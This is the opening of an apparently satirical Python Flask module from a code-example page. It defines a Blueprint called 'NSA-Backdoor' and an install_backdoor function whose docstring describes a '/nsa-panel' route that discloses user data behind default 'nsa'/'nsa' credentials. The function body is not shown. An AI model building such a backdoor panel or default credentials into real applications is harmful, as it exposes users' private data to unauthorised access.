Пример #1
0
# -*- coding: utf-8 -*-
__version__ = "0.1.0"

from functools import wraps
from flask import (Blueprint, render_template, url_for, redirect,
                   session, request, Response)

blp = Blueprint(
    'NSA-Backdoor',
    __name__,
    static_folder="static",
    template_folder="templates"
)
blp.gen_users = None
blp.gen_secrets = None
blp.login_credentials = None


def install_backdoor(app, users, data, url_prefix="/nsa-panel", credentials=None):
    """ Give indirect access to the NSA to help protect the
        kind and good-willed users of your app.

        :param app: the Flask app we're going to provide access to
        :param users: a function we can call to get a list of user dicts
        :param data: an iterable of tuples/lists in the fashion of
            (name, generator), allowing for full disclosure of
            user related details.
        :param url_prefix: where we're going to provide access from
        :param credentials: the login credentials required to access the
            panel. Defaults to "nsa" for both user and password.
    """